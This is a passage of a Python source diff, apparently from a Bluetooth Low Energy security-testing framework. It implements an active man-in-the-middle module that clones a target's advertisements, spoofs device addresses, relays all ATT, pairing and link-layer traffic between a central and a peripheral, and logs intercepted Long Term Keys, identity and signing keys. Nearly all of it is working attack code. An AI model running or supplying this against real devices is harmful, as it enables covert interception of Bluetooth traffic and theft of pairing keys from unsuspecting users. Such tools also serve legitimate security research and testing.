utils.addressArg(self.args["TARGET"]) + data = packet.getRawDatas() + self.intervalMin = packet.intervalMin + self.intervalMax = packet.intervalMax + self.addrType = packet.addrType + self.dataAdvInd = data + elif packet.type == "SCAN_RSP": + self.dataScanRsp = packet.getRawDatas() + + if self.dataAdvInd is not None and self.dataScanRsp is not None: + self.cloneStage( + self.address, + self.dataAdvInd, + self.dataScanRsp, + self.intervalMin, + self.intervalMax, + self.addrType, + ) + + @module.scenarioSignal("onCloning") + def cloneStage( + self, address, data, dataResponse, intervalMin, intervalMax, addrType + ): + io.info("Entering CLONE stage ...") + self.setStage(self.BLEMitmStage.CLONE) + + if self.args["ADVERTISING_STRATEGY"] == "flood": + intervalMin = 33 + intervalMax = 34 + + if ( + utils.booleanArg(self.args["SLAVE_SPOOFING"]) + and address != self.a2mEmitter.getAddress() + ): + self.a2mEmitter.setAddress(address, random=1 == addrType) + self.a2mEmitter.setScanningParameters(data=dataResponse) + self.a2mEmitter.setAdvertisingParameters( + data=data, + intervalMin=intervalMin, + intervalMax=intervalMax, + daType=addrType, + oaType=addrType, + ) + + # Connection related methods + @module.scenarioSignal("onSlaveConnect") + def connectOnSlave(self, initiatorType="public"): + while self.a2sEmitter.getMode() != "NORMAL": + utils.wait(seconds=1) + print(self.a2sEmitter.getMode()) + + address = utils.addressArg(self.args["TARGET"]) + connectionType = self.args["CONNECTION_TYPE"] + + self.responderAddress = address + self.responderAddressType = ( + b"\x00" if self.args["CONNECTION_TYPE"] == "public" else b"\x01" + ) + io.info("Connecting to slave " + address + "...") + self.a2sEmitter.sendp( + ble.BLEConnect( + dstAddr=address, type=connectionType, initiatorType=initiatorType + ) + ) + while not self.a2sEmitter.isConnected(): + utils.wait(seconds=0.5) + io.success("Connected on slave : " + self.a2sReceiver.getCurrentConnection()) + + @module.scenarioSignal("onMasterConnect") + def connect(self, packet): + if self.getStage() == self.BLEMitmStage.WAIT_CONNECTION: + + io.success("Master connected : " + packet.srcAddr) + + self.initiatorAddress = packet.srcAddr + self.initiatorAddressType = b"\x00" if packet.type == "public" else b"\x01" + + if self.args["ADVERTISING_STRATEGY"] == "preconnect": + if utils.booleanArg(self.args["MASTER_SPOOFING"]): + self.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + self.a2sEmitter.setAddress( + packet.srcAddr, random=packet.type == "random" + ) + address = utils.addressArg(self.args["TARGET"]) + connectionType = self.args["CONNECTION_TYPE"] + io.info("Giving slave 1s time to reset...") + utils.wait(seconds=1) + io.info("Connecting to slave " + address + "...") + self.a2sEmitter.sendp( + ble.BLEConnect( + dstAddr=address, + type=connectionType, + initiatorType=packet.type, + ) + ) + while not self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + if self.args["ADVERTISING_STRATEGY"] == "flood": + if utils.booleanArg(self.args["MASTER_SPOOFING"]): + self.a2sEmitter.setAddress( + packet.srcAddr, random=packet.type == "random" + ) + self.connectOnSlave(packet.type) + self.setStage(self.BLEMitmStage.ACTIVE_MITM) + io.info("Entering ACTIVE_MITM stage ...") + + @module.scenarioSignal("onMasterDisconnect") + def disconnectMaster(self, packet): + io.info("Master disconnected !") + self.setStage(self.BLEMitmStage.STOP) + + @module.scenarioSignal("onSlaveDisconnect") + def disconnectSlave(self, packet): + io.info("Slave disconnected !") + + @module.scenarioSignal("onMasterExchangeMTURequest") + def exchangeMtuRequest(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Exchange MTU Request (from master) : mtu = " + str(packet.mtu)) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEExchangeMTURequest(mtu=packet.mtu)) + + @module.scenarioSignal("onSlaveExchangeMTUResponse") + def exchangeMtuResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Exchange MTU Response (from slave) : mtu = " + str(packet.mtu)) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + + @module.scenarioSignal("onMasterWriteCommand") + def writeCommand(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Write Command (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEWriteCommand(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterWriteRequest") + def writeRequest(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Write Request (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEWriteRequest(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveWriteResponse") + def writeResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Write Response (from slave)") + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEWriteResponse()) + + @module.scenarioSignal("onMasterReadBlobRequest") + def readBlob(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Read Blob Request (from master) : handle = " + + hex(packet.handle) + + " / offset = " + + str(packet.offset) + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEReadBlobRequest(handle=packet.handle, offset=packet.offset) + ) + + @module.scenarioSignal("onSlaveReadBlobResponse") + def readBlobResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Read Blob Response (from slave) : value = " + packet.value.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEReadBlobResponse(value=packet.value)) + + @module.scenarioSignal("onMasterReadRequest") + def read(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Read Request (from master) : handle = " + hex(packet.handle)) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEReadRequest(handle=packet.handle)) + + @module.scenarioSignal("onSlaveReadResponse") + def readResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Read Response (from slave) : value = " + packet.value.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEReadResponse(value=packet.value)) + + @module.scenarioSignal("onSlaveErrorResponse") + def errorResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Error Response (from slave) : request = " + + hex(packet.request) + + " / handle = " + + hex(packet.handle) + + " / ecode = " + + hex(packet.ecode) + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEErrorResponse( + request=packet.request, handle=packet.handle, ecode=packet.ecode + ) + ) + + @module.scenarioSignal("onSlaveHandleValueNotification") + def notification(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Handle Value Notification (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEHandleValueNotification(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveHandleValueIndication") + def indication(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Handle Value Indication (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEHandleValueIndication(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterHandleValueConfirmation") + def confirmation(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Handle Value Confirmation (from master)") + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEHandleValueConfirmation()) + + @module.scenarioSignal("onMasterFindInformationRequest") + def findInformation(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Find Information Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEFindInformationRequest( + startHandle=packet.startHandle, endHandle=packet.endHandle + ) + ) + + @module.scenarioSignal("onSlaveFindInformationResponse") + def findInformationResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Find Information Response (from slave) : format = " + + hex(packet.format) + + " / data = " + + packet.data.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEFindInformationResponse(format=packet.format, data=packet.data) + ) + + @module.scenarioSignal("onMasterFindByTypeValueRequest") + def findByTypeValueRequest(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Find Type By Value Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + + " / data = " + + packet.data.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEFindByTypeValueRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + data=packet.data, + ) + ) + + @module.scenarioSignal("onSlaveFindByTypeValueResponse") + def findByTypeValueResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Find Type By Value Response (from slave)") + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEFindByTypeValueResponse(handles=packet.handles) + ) + + @module.scenarioSignal("onMasterReadByTypeRequest") + def readByType(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Read By Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEReadByTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onMasterReadByGroupTypeRequest") + def readByGroupType(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Read By Group Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEReadByGroupTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onSlaveReadByTypeResponse") + def readByTypeResponse(self, packet): + io.info("Read By Type Response (from slave) : data = " + packet.data.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEReadByTypeResponse(data=packet.data)) + + @module.scenarioSignal("onSlaveReadByGroupTypeResponse") + def readByGroupTypeResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + "Read By Group Type Response (from slave) : length = " + + str(packet.length) + + " / data = " + + packet.data.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEReadByGroupTypeResponse(length=packet.length, data=packet.data) + ) + + @module.scenarioSignal("onMasterPairingRequest") + def pairingRequest(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + ( + "Pairing Request (from master) : " + + "\n=> outOfBand = " + + ("yes" if packet.outOfBand else "no") + + "\n=> inputOutputCapability = " + + str( + ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + ) + + "\n=> authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> maxKeySize = " + + str(packet.maxKeySize) + + "\n=> initiatorKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + ) + ) + + "\n=> responderKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + ) + ) + + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEPairingRequest( + outOfBand=packet.outOfBand, + inputOutputCapability=packet.inputOutputCapability, + authentication=packet.authentication, + maxKeySize=packet.maxKeySize, + initiatorKeyDistribution=packet.initiatorKeyDistribution, + responderKeyDistribution=packet.responderKeyDistribution, + ) + ) + + @module.scenarioSignal("onSlaveSecurityRequest") + def securityRequest(self, packet): + io.info( + "Security Request (from slave) : authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n" + ) + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLESecurityRequest( + connectionHandle=packet.connectionHandle, + authentication=packet.authentication, + ) + ) + + @module.scenarioSignal("onSlavePairingResponse") + def pairingResponse(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info( + ( + "Pairing Response (from slave) : " + + "\n=> outOfBand = " + + ("yes" if packet.outOfBand else "no") + + "\n=> inputOutputCapability = " + + str( + ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + ) + + "\n=> authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> maxKeySize = " + + str(packet.maxKeySize) + + "\n=> initiatorKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + ) + ) + + "\n=> responderKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + ) + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEPairingResponse( + outOfBand=packet.outOfBand, + inputOutputCapability=packet.inputOutputCapability, + authentication=packet.authentication, + maxKeySize=packet.maxKeySize, + initiatorKeyDistribution=packet.initiatorKeyDistribution, + responderKeyDistribution=packet.responderKeyDistribution, + ) + ) + + @module.scenarioSignal("onMasterPairingConfirm") + def masterPairingConfirm(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Confirm (from master) : confirm = " + packet.confirm.hex()) + + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEPairingConfirm(confirm=packet.confirm)) + + @module.scenarioSignal("onSlavePairingConfirm") + def slavePairingConfirm(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Confirm (from slave) : confirm = " + packet.confirm.hex()) + + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEPairingConfirm(confirm=packet.confirm)) + + @module.scenarioSignal("onMasterPairingRandom") + def masterPairingRandom(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Random (from master) : random = " + packet.random.hex()) + + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEPairingRandom(random=packet.random)) + + @module.scenarioSignal("onSlavePairingRandom") + def slavePairingRandom(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Random (from slave) : random = " + packet.random.hex()) + + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEPairingRandom(random=packet.random)) + + def pairingFailed(self, packet): + io.fail("Pairing Failed received : " + packet.toString()) + if packet.reason == ble.SM_ERR_PASSKEY_ENTRY_FAILED: + io.fail("Reason : Passkey Entry Failed") + elif packet.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif packet.reason == ble.SM_ERR_AUTH_REQUIREMENTS: + io.fail("Reason : Authentication requirements") + elif packet.reason == ble.SM_ERR_CONFIRM_VALUE_FAILED: + io.fail("Reason : Confirm Value failed") + elif packet.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + io.fail("Reason : Pairing not supported") + elif packet.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif packet.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + io.fail("Reason : Encryption key size") + elif packet.reason == ble.SM_ERR_COMMAND_NOT_SUPPORTED: + io.fail("Reason : Command not supported") + elif packet.reason == ble.SM_ERR_UNSPECIFIED_REASON: + io.fail("Reason : Unspecified reason") + elif packet.reason == ble.SM_ERR_REPEATED_ATTEMPTS: + io.fail("Reason : Repeated Attempts") + elif packet.reason == ble.SM_ERR_INVALID_PARAMETERS: + io.fail("Reason : Invalid Parameters") + elif packet.reason == ble.SM_ERR_DHKEY_CHECK_FAILED: + io.fail("Reason : DHKey Check failed") + elif packet.reason == ble.SM_ERR_NUMERIC_COMPARISON_FAILED: + io.fail("Reason : Numeric Comparison failed") + elif packet.reason == ble.SM_ERR_BREDR_PAIRING_IN_PROGRESS: + io.fail("Reason : BR/EDR Pairing in progress") + elif packet.reason == ble.SM_ERR_CROSS_TRANSPORT_KEY: + io.fail("Reason : Cross-transport Key Derivation/Generation not allowed") + else: + io.fail("Reason : unknown") + + @module.scenarioSignal("onMasterPairingFailed") + def masterPairingFailed(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Failed (from master) !") + self.pairingFailed(packet) + self.a2sEmitter.sendp(ble.BLEPairingFailed(reason=packet.reason)) + + @module.scenarioSignal("onSlavePairingFailed") + def slavePairingFailed(self, packet): + if self.getStage() == self.BLEMitmStage.ACTIVE_MITM: + io.info("Pairing Failed (from slave) !") + self.pairingFailed(packet) + self.a2mEmitter.sendp(ble.BLEPairingFailed(reason=packet.reason)) + + @module.scenarioSignal("onSlaveEncryptionInformation") + def slaveEncryptionInformation(self, packet): + io.info( + "Encryption Information (from slave) : Long Term Key = " + packet.ltk.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEEncryptionInformation(ltk=packet.ltk)) + + @module.scenarioSignal("onSlaveMasterIdentification") + def slaveMasterIdentification(self, packet): + io.info( + "Master Indentification (from slave) : ediv = " + + hex(packet.ediv) + + " / rand = " + + packet.rand.hex() + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEMasterIdentification(rand=packet.rand, ediv=packet.ediv) + ) + + @module.scenarioSignal("onSlaveIdentityAddressInformation") + def slaveIdentityAddressInformation(self, packet): + io.info( + "Identity Address Information (from slave) : address = " + + str(packet.address) + + " / type = " + + packet.type + ) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEIdentityAddressInformation(address=packet.address, type=packet.type) + ) + + @module.scenarioSignal("onSlaveIdentityInformation") + def slaveIdentityInformation(self, packet): + io.info("Identity Information (from slave) : irk = " + packet.irk.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEIdentityInformation(irk=packet.irk)) + + @module.scenarioSignal("onSlaveSigningInformation") + def slaveSigningInformation(self, packet): + io.info("Signing Information (from slave) : csrk = " + packet.csrk.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLESigningInformation(csrk=packet.csrk)) + + @module.scenarioSignal("onMasterEncryptionInformation") + def masterEncryptionInformation(self, packet): + io.info( + "Encryption Information (from master) : Long Term Key = " + packet.ltk.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEEncryptionInformation(ltk=packet.ltk)) + + @module.scenarioSignal("onMasterMasterIdentification") + def masterMasterIdentification(self, packet): + io.info( + "Master Indentification (from master) : ediv = " + + hex(packet.ediv) + + " / rand = " + + packet.rand.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEMasterIdentification(rand=packet.rand, ediv=packet.ediv) + ) + + @module.scenarioSignal("onMasterIdentityAddressInformation") + def masterIdentityAddressInformation(self, packet): + io.info( + "Identity Address Information (from master) : address = " + + str(packet.address) + + " / type = " + + packet.type + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEIdentityAddressInformation(address=packet.address, type=packet.type) + ) + + @module.scenarioSignal("onMasterIdentityInformation") + def masterIdentityInformation(self, packet): + io.info("Identity Information (from master) : irk = " + packet.irk.hex()) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEIdentityInformation(irk=packet.irk)) + + @module.scenarioSignal("onMasterSigningInformation") + def masterSigningInformation(self, packet): + io.info("Signing Information (from master) : csrk = " + packet.csrk.hex()) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLESigningInformation(csrk=packet.csrk)) + + @module.scenarioSignal("onSlavePublicKey") + def slavePublicKey(self, packet): + io.info( + "Public Key (from slave) : \n\tkey_x: " + + packet.key_x.hex() + + " length: " + + str(len(packet.key_x)) + + "\n\tkey_y: " + + packet.key_y.hex() + + " length: " + + str(len(packet.key_y)) + + "\n" + ) + self.a2mEmitter.sendp( + ble.BLEPublicKey( + key_x=packet.key_x, + key_y=packet.key_y, + ) + ) + + @module.scenarioSignal("onMasterPublicKey") + def masterPublicKey(self, packet): + io.info( + "Public Key (from master) : \n\tkey_x: " + + packet.key_x.hex() + + " length: " + + str(len(packet.key_x)) + + "\n\tkey_y: " + + packet.key_y.hex() + + " length: " + + str(len(packet.key_y)) + + "\n" + ) + self.a2sEmitter.sendp( + ble.BLEPublicKey( + key_x=packet.key_x, + key_y=packet.key_y, + ) + ) + + @module.scenarioSignal("onSlaveConnectionParameterUpdateRequest") + def slaveConnectionParameterUpdateRequest(self, packet): + io.info( + "Connection Parameter Update Request (from slave) : slaveLatency = " + + str(packet.slaveLatency) + + " / timeoutMult = " + + str(packet.timeoutMult) + + " / minInterval = " + + str(packet.minInterval) + + " / maxInterval = " + + str(packet.maxInterval) + ) + + self.maxInterval = packet.maxInterval + self.minInterval = packet.minInterval + self.timeoutMult = packet.timeoutMult + self.slaveLatency = packet.slaveLatency + self.minCe = 0 + self.maxCe = 0 + if self.getStage() == self.BLEMitmStage.WAIT_CONNECTION: + io.info("Sending a response to slave ...") + self.a2sEmitter.sendp( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=0 + ) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=packet.timeoutMult, + latency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + minCe=0, + maxCe=0, + ) + self.slave_timeout = (packet.timeoutMult,) + self.slave_latency = (packet.slaveLatency,) + self.slave_minInterval = (packet.minInterval,) + self.slave_maxInterval = (packet.maxInterval,) + self.slave_minCe = (0,) + self.slave_maxCe = (0,) + else: + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEConnectionParameterUpdateRequest( + l2capCmdId=packet.l2capCmdId, + timeoutMult=packet.timeoutMult, + slaveLatency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + ) + ) + + @module.scenarioSignal("onMasterConnectionParameterUpdateResponse") + def masterConnectionParameterUpdateResponse(self, packet): + io.info( + "Connection Parameter Update Response (from master) : moveResult = " + + str(packet.moveResult) + ) + + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=packet.moveResult + ) + ) + if packet.moveResult == 0 and self.a2sEmitter.isConnected(): + io.info( + "Updating Connection Parameter: slaveLatency = " + + str(self.slaveLatency) + + " / timeoutMult = " + + str(self.timeoutMult) + + " / minInterval = " + + str(self.minInterval) + + " / maxInterval = " + + str(self.maxInterval) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=self.timeoutMult, + latency=self.slaveLatency, + minInterval=self.minInterval, + maxInterval=self.maxInterval, + ) + + @module.scenarioSignal("onMasterDHKeyCheck") + def masterDHKeyCheck(self, packet): + io.info( + "DH Key Check (from master) : dhkey_check = " + packet.dhkey_check.hex() + ) + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(ble.BLEDHKeyCheck(dhkey_check=packet.dhkey_check)) + + @module.scenarioSignal("onSlaveDHKEyCheck") + def slaveDHKEyCheck(self, packet): + io.info("DH Key Check (from slave) : dhkey_check = " + packet.dhkey_check.hex()) + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(ble.BLEDHKeyCheck(dhkey_check=packet.dhkey_check)) + + @module.scenarioSignal("onSlaveLLConnUpdateInd") + def slaveLLConnUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnUpdateInd") + def masterLLConnUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLChannelMapInd") + def slaveLLChannelMapInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLChannelMapInd") + def masterLLChannelMapInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLTerminateInd") + def slaveLLTerminateInd(self, packet): + io.info( + "Slave: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLTerminateInd") + def masterLLTerminateInd(self, packet): + io.info( + "Master: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLEncReq") + def masterLLEncReq(self, packet): + + if not self.enc_req: + self.enc_req = True + self.a2sEmitter.sendp( + ble.BLELLEncReq( + direction=packet.direction, + rand=packet.rand, + ediv=packet.ediv, + skdm=packet.skdm, + ivm=packet.ivm, + ) + ) + io.info( + "LL Enc Request (from master) : rand = " + + str(packet.rand) + + " / ediv = " + + str(packet.ediv) + + " / skdm = " + + str(packet.skdm) + + " / ivm = " + + str(packet.ivm) + ) + io.info("Redirecting to slave ...") + + @module.scenarioSignal("onSlaveLLEncRsp") + def slaveLLEncRsp(self, packet): + if not self.enc_rsp: + self.enc_rsp = True + self.a2mEmitter.sendp( + ble.BLELLEncRsp( + skds=packet.skds, ivs=packet.ivs, direction=packet.direction + ) + ) + io.info( + "LL Enc Response (from slave) : skds = " + + str(packet.skds) + + " / ivs = " + + str(packet.ivs) + ) + io.info("Redirecting to master ...") + + @module.scenarioSignal("onSlaveLLStartEncReq") + def slaveLLStartEncReq(self, packet): + io.info("LL Start Enc Request (from slave)") + io.info("Redirecting to master...") + self.start_enc_req = True + self.a2mReceiver.enableEnc(True) + self.a2mReceiver.enableMitM(True) + self.a2sReceiver.enableEnc(True) + self.a2sReceiver.enableMitM(True) + self.a2mEmitter.sendp(ble.BLELLStartEncReq(direction=packet.direction)) + + @module.scenarioSignal("onSlaveLLUnknownRsp") + def slaveLLUnknownRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLUnknownRsp") + def masterLLUnknownRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureReq") + def slaveLLFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureReq") + def masterLLFeatureReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureRsp") + def slaveLLFeatureRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureRsp") + def masterLLFeatureRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPauseEncReq") + def masterLLPauseEncReq(self, packet): + io.info("LL Pause Enc Request (from master)") + io.info("Redirecting to slave...") + self.a2sEmitter.sendp(ble.BLELLPauseEncReq(direction=packet.direction)) + + @module.scenarioSignal("onMasterLLPauseEncRsp") + def masterLLPauseEncRsp(self, packet): + io.info("LL Pause Enc Response (from master)") + io.info("Redirecting to slave...") + self.a2sEmitter.sendp(ble.BLELLPauseEncRsp(direction=packet.direction)) + + @module.scenarioSignal("onSlaveLLPauseEncRsp") + def slaveLLPauseEncRsp(self, packet): + io.info("LL Pause Enc Response (from slave)") + io.info("Redirecting to master...") + self.a2mEmitter.sendp(ble.BLELLPauseEncRsp(direction=packet.direction)) + + @module.scenarioSignal("onSlaveLLVersionInd") + def slaveLLVersionInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLVersionInd") + def masterLLVersionInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectInd") + def slaveLLRejectInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLRejectInd") + def masterLLRejectInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLSlaveFeatureReq") + def slaveLLSlaveFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamReq") + def slaveLLConnParamReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamReq") + def masterLLConnParamReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamRsp") + def slaveLLConnParamRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamRsp") + def masterLLConnParamRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectExtInd") + def slaveLLRejectExtInd(self, packet): + io.info( + "Slave: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLRejectExtInd") + def masterLLRejectExtInd(self, packet): + io.info( + "Master: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onSlaveLLPingReq") + def slaveLLPingReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingReq") + def masterLLPingReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPingRsp") + def slaveLLPingRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingRsp") + def masterLLPingRsp(self, packet): + io.info("Master: " + packet.toString()) + 